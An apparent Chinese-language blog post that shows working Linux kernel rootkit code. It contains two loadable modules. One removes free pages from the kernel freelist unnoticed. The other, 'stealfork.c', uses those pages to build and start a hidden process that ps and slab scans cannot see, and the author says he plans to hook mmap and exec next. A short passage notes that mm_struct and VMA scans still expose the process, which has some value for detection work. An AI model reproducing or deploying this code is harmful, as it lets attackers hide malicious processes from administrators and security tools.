竊取Linux內核page以構建窩藏自己的Rootkit

竊取內核的page?是的,偷page意味着我們繞過page分配的一切規則和接口,直接從freelist中摘取一個空閒的page來用。

直接看個POC吧,我來模擬一個task_struct的分配過程:

#include <linux/module.h>
#include <linux/mm.h>
#include <linux/sched.h>

static void * page_steal(unsigned int j)
{
	void *addr = NULL;
	int i = 0;

	for_each_online_node(i) {
		unsigned long spfn, epfn, pfn;

		spfn= node_start_pfn(i);
		epfn = node_end_pfn(i);
		for (pfn = spfn; pfn < epfn;) {
			struct page *page = pfn_to_page(pfn);

			// 找到空閒頁面,並且沒有被偷走的,就摘除它,偷走它,佔有它!
			if (page_count(page) == 0 && pfn == j &&
				(page->lru.prev != LIST_POISON2 && page->lru.next != LIST_POISON1)) {
				// 僅僅從freelist中摘除,並不增加引用計數。
				// 該page我們是偷來的,永久保有,絕不歸還!
				list_del(&page->lru);
				// 至此,內核已經看不到這個page了,獲取地址使用它吧。
				addr = page_address(page);
				// 注意,偷的page最好直接使用線性映射地址。
				// 並且,一定要check其PTE的性質,保證可讀寫,必要時可執行!!本文略。
				break;
			}
			pfn ++;
		}
	}
	return addr;
}

static int __init steal_task_init(void)
{
	struct task_struct *p, *curr = current;
	unsigned int j = 2000;

again:
	// 這裏模擬一個用偷來的page構建task_struct的過程。
	p = (struct task_struct *)page_steal(j);
	if (p) {
		*p = *curr;
		p->pid = 0xffffff;
		strcpy(p->comm, "JingLiSkinShoe");
		printk("get page:%p  at %d\n", p, j);
	} else if (j > 0) {
		j --;
		goto again;
	}

	return -1;
}

module_init(steal_task_init);
MODULE_LICENSE("GPL");

加載這個模塊,根據打印信息用crash來dump結構體:

[root@localhost test]# dmesg
[ 9260.300467] get page:ffff880000500000  at 1280

我們看看這個地址:

crash> task_struct.sched_class,comm,pid ffff880000500000
  sched_class = 0xffffffff81669340 <fair_sched_class>
  comm = "JingLiSkinShoe\000"
  pid = 16777215
crash>

OK,我們試試用上文中介紹的dump所有slab對象的方法能找到它嗎?

[root@localhost test]# insmod ./pagescan.ko
insmod: ERROR: could not insert module ./pagescan.ko: Operation not permitted
[root@localhost test]# dmesg |grep JingLiSkinShoe
[root@localhost test]# echo $?
1

很顯然,沒有找到!

OK,根據以上的POC,我們可以來個正式的了。也就是,是時候搞一個可以運行的隱藏進程了,請看:

// stealfork.c
#include <linux/module.h>
#include <linux/cred.h>
#include <linux/slab.h>
#include <linux/kallsyms.h>
#include <linux/nsproxy.h>
#include <linux/pid_namespace.h>
#include <linux/random.h>
#include <linux/fdtable.h>
#include <linux/cgroup.h>
#include <linux/sched.h>

int (*_run_process)(struct filename *file, char **, char **);
struct filename * (*_getname_kernel)(char *name);

int test_stub2(void)
{
	printk("stub pid: %d  at %p\n", current->pid, current);
	if (_run_process) {
		int r =_run_process(_getname_kernel("/root/run"), NULL, NULL);
		printk("result:%d\n", r);
	}
	current->parent = current;
	current->real_parent = current;
	return 0;
}

int (*_arch_dup_task_struct)(struct task_struct *, struct task_struct *);
int (*_copy_thread)(unsigned long, unsigned long, unsigned long, struct task_struct *);
void (*_wake_up_new_task)(struct task_struct *);
void (*_sched_fork)(unsigned long, struct task_struct *);
struct fs_struct * (*_copy_fs_struct)(struct fs_struct *);
struct files_struct * (*_dup_fd)(struct files_struct *, int *);
struct pid * (*_alloc_pid)(struct pid_namespace *ns);

static void *page_steal(unsigned int j)
{
	void *addr = NULL;
	int i = 0;

	for_each_online_node(i) {
		unsigned long spfn, epfn, pfn;

		spfn= node_start_pfn(i);
		epfn = node_end_pfn(i);
		for (pfn = spfn; pfn < epfn;) {
			struct page *page = pfn_to_page(pfn);

			if (page_count(page) == 0 && pfn == j &&
				(page->lru.prev != LIST_POISON2 && page->lru.next != LIST_POISON1)) {
				list_del(&page->lru);
				addr = page_address(page);
				// 此處,一定要check其PTE的性質,保證可讀寫,必要時可執行!!本文略。
				break;
			}
			pfn ++;
		}
	}
	return addr;
}

static void *steal_alloc(void)
{
	void *addr;
	static unsigned int j = 8000;

again:
	addr = page_steal(j);
	if (addr) {
		j --;
		return addr;
	} else if (j > 0) {
		j --;
		goto again;
	}
	return NULL;
}

static int __init stealfork_init(void)
{
	unsigned char *base;
	struct task_struct *tsk;
	struct thread_info *ti;
	struct task_struct *orig = current;
	unsigned long *stackend;
	struct pid_link *link;
	struct hlist_node *node;
	struct sighand_struct *sig;
	struct signal_struct *sign;
	struct cred *new;
	struct pid *pid = NULL;
	int type, err = 0;

	_arch_dup_task_struct = (void *)kallsyms_lookup_name("arch_dup_task_struct");
	_sched_fork = (void *)kallsyms_lookup_name("sched_fork");
	_copy_fs_struct = (void *)kallsyms_lookup_name("copy_fs_struct");
	_dup_fd = (void *)kallsyms_lookup_name("dup_fd");
	_run_process = (void *)kallsyms_lookup_name("do_execve");
	_getname_kernel =  (void *)kallsyms_lookup_name("getname_kernel");
	_alloc_pid =  (void *)kallsyms_lookup_name("alloc_pid");
	_copy_thread = (void *)kallsyms_lookup_name("copy_thread");
	_wake_up_new_task = (void *)kallsyms_lookup_name("wake_up_new_task");

	// 所有的內核分配均使用steal_alloc來偷!
	base = (unsigned char *)steal_alloc();
	tsk = (struct task_struct *)base;
	_arch_dup_task_struct(tsk, orig);
	base = (unsigned char *)steal_alloc();
	ti = (struct thread_info *)base;
	tsk->stack = ti;
	*task_thread_info(tsk) = *task_thread_info(orig);
	task_thread_info(tsk)->task = tsk;
	stackend = end_of_stack(tsk);
	*stackend = 0x57AC6E9D;
	tsk->stack_canary = get_random_int();

	clear_tsk_thread_flag(tsk, TIF_USER_RETURN_NOTIFY);
	clear_tsk_thread_flag(tsk, TIF_NEED_RESCHED	);
	atomic_set(&tsk->usage, 2);
	tsk->splice_pipe = NULL;
	tsk->task_frag.page = NULL;
	memset(&tsk->rss_stat, 0, sizeof(tsk->rss_stat));

	raw_spin_lock_init(&tsk->pi_lock);
	plist_head_init(&tsk->pi_waiters);
	tsk->pi_blocked_on = NULL;

	rcu_copy_process(tsk);
	tsk->vfork_done = NULL;
	spin_lock_init(&tsk->alloc_lock);
	init_sigpending(&tsk->pending);

	seqlock_init(&tsk->vtime_seqlock);
	tsk->audit_context = NULL;

	_sched_fork(0, tsk);

	tsk->mm = NULL;
	tsk->active_mm = NULL;
	memset(&tsk->perf_event_ctxp, 0, sizeof(tsk->perf_event_ctxp));
	mutex_init(&tsk->perf_event_mutex);
	INIT_LIST_HEAD(&tsk->perf_event_list);

	new = prepare_creds();
	if (new->thread_keyring) {
		key_put(new->thread_keyring);
		new->thread_keyring = NULL;
	}
	key_put(new->process_keyring);
	new->process_keyring = NULL;
	atomic_inc(&new->user->processes);
	tsk->cred = tsk->real_cred = get_cred(new);
	validate_creds(new);

	tsk->fs = _copy_fs_struct(current->fs);
	tsk->files = _dup_fd(current->files, &err);
	base = steal_alloc();
	sig = (struct sighand_struct *)base;
	atomic_set(&sig->count, 2);
	memcpy(sig->action, current->sighand->action, sizeof(sig->action));

	base = steal_alloc();
	sign = (struct signal_struct *)base;
	sign->nr_threads = 1;
	atomic_set(&sign->live, 2);
	atomic_set(&sign->sigcnt, 2);
	sign->thread_head = (struct list_head)LIST_HEAD_INIT(tsk->thread_node);
	tsk->thread_node = (struct list_head)LIST_HEAD_INIT(sign->thread_head);
	init_waitqueue_head(&sign->wait_chldexit);
	sign->curr_target = tsk;
	init_sigpending(&sign->shared_pending);
	INIT_LIST_HEAD(&sign->posix_timers);
	seqlock_init(&sign->stats_lock);
	memcpy(sign->rlim, current->signal->rlim, sizeof sign->rlim);

	tsk->cgroups = current->cgroups;
	atomic_inc(&tsk->cgroups->refcount);
	INIT_LIST_HEAD(&tsk->cg_list);

	// 設置堆棧以及入口
	tsk->flags |= PF_KTHREAD;
	_copy_thread(0, (unsigned long)test_stub2, (unsigned long)0, tsk);
	tsk->clear_child_tid = NULL;
	tsk->set_child_tid = NULL;

	// 僞造身份證
	pid = steal_alloc();
	pid->level = current->nsproxy->pid_ns->level;
	pid->numbers[0].nr = 0xffff;
	pid->numbers[0].ns = current->nsproxy->pid_ns;
	for (type = 0; type < PIDTYPE_MAX; ++type)
		INIT_HLIST_HEAD(&pid->tasks[type]);
	atomic_set(&pid->count, 2);

	// 進程管理結構自吞尾
	INIT_LIST_HEAD(&tsk->ptrace_entry);
	INIT_LIST_HEAD(&tsk->ptraced);
	atomic_set(&tsk->ptrace_bp_refcnt, 1);
	tsk->jobctl = 0;
	tsk->ptrace = 0;
	tsk->pi_state_cache = NULL;
	tsk->group_leader = tsk;
	INIT_LIST_HEAD(&tsk->thread_group);
	tsk->pid = pid_nr(pid);
	INIT_LIST_HEAD(&tsk->pi_state_list);
	INIT_LIST_HEAD(&tsk->tasks);
	INIT_LIST_HEAD(&tsk->children);
	INIT_LIST_HEAD(&tsk->sibling);

	// 進程組織自吞尾
	tsk->pids[PIDTYPE_PID].pid = pid;
	link = &tsk->pids[PIDTYPE_PID];
	node = &link->node;
	INIT_HLIST_NODE(node);
	node->pprev = &node;
	printk("task at %p\n", tsk);
	// 來吧!
	_wake_up_new_task(tsk);

	return 0;
}

static void __exit stealfork_exit(void)
{
}

module_init(stealfork_init);
module_exit(stealfork_exit);
MODULE_LICENSE("GPL");

我們把/root/run改成一個不會退出的死循環,然後載入上面這個stealfork.ko模塊,創建了一個新的進程/root/run,下面我們看下如何找到它。

首先,我們看看它的樣子:

[root@localhost test]# dmesg
[ 9914.796859] task at ffff880000f4f000
...

我們看ffff880000f4f000這個地址:

crash> task_struct.sched_class,comm,pid ffff880000f4f000
  sched_class = 0xffffffff81669340 <fair_sched_class>
  comm = "run\000od\000\000\060\000\000\000\000\000\000"
  pid = 65535
crash>

OK,這就是我們的run進程,下面看用常規方法能找到它不?

[root@localhost test]# ps -e|grep run
[root@localhost test]# echo $?
1

當然找不到!因爲我根本就沒有將它list到鏈表中!好吧,現在試試dump slab的方法:

[root@localhost test]# dmesg |grep run
[10059.334359] ##### VMA owner:[run] 65535   PGD:ffff88003a928000
[10059.334360] ##### VMA owner:[run] 65535   PGD:ffff88003a928000
[10059.334361] ##### VMA owner:[run] 65535   PGD:ffff88003a928000
[10059.334361] ##### VMA owner:[run] 65535   PGD:ffff88003a928000
[10059.334362] ##### VMA owner:[run] 65535   PGD:ffff88003a928000
[10059.334363] ##### VMA owner:[run] 65535   PGD:ffff88003a928000
[10059.334363] ##### VMA owner:[run] 65535   PGD:ffff88003a928000
[10059.334364] ##### VMA owner:[run] 65535   PGD:ffff88003a928000
[10059.334365] ##### VMA owner:[run] 65535   PGD:ffff88003a928000
[10059.334366] ##### VMA owner:[run] 65535   PGD:ffff88003a928000
[10059.336179] ##### owner:[run] 65535   PGD:ffff88003a928000
[10059.336358] ##### VMA owner:[run] 65535   PGD:ffff88003a928000
[10059.336359] ##### VMA owner:[run] 65535   PGD:ffff88003a928000
[10059.336363] ##### VMA owner:[run] 65535   PGD:ffff88003a928000
[10059.336366] ##### VMA owner:[run] 65535   PGD:ffff88003a928000
[10059.336368] ##### VMA owner:[run] 65535   PGD:ffff88003a928000
[10059.336370] ##### VMA owner:[run] 65535   PGD:ffff88003a928000

不好!!被發現了!

Why?

雖然我們使用偷來的頁面構建了task_struct,那麼在task_struct的slab裏就無法發現它,但是卻被mm_struct和vm_area_struct出賣了!因爲我沒有控制mm_struct和vm_area_struct的分配過程也用偷來的頁面,我實在是難以控制:

  • 在task執行execve的調用中,會執行mm_alloc,重新分配一個mm_struct,並設置owner爲task,爲了控制mm_alloc,我們必須inlne hook,這很麻煩。
  • 進程運行過程中,會根據內存使用情況動態分配vm_area_struct,若hook這個過程,也非常麻煩。

這也從另一個側面說明,用按圖索驥順藤摸瓜的方式查找可疑進程以及隱藏進程的方法,是多麼好用!不要專門去直接找task_struct,間接將它緝拿歸案!

下面,我要動手hook mmap以及exec了,讓mm_struct和vm_area_struct也脫離管控!


浙江溫州皮鞋溼,下雨進水不會胖!

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章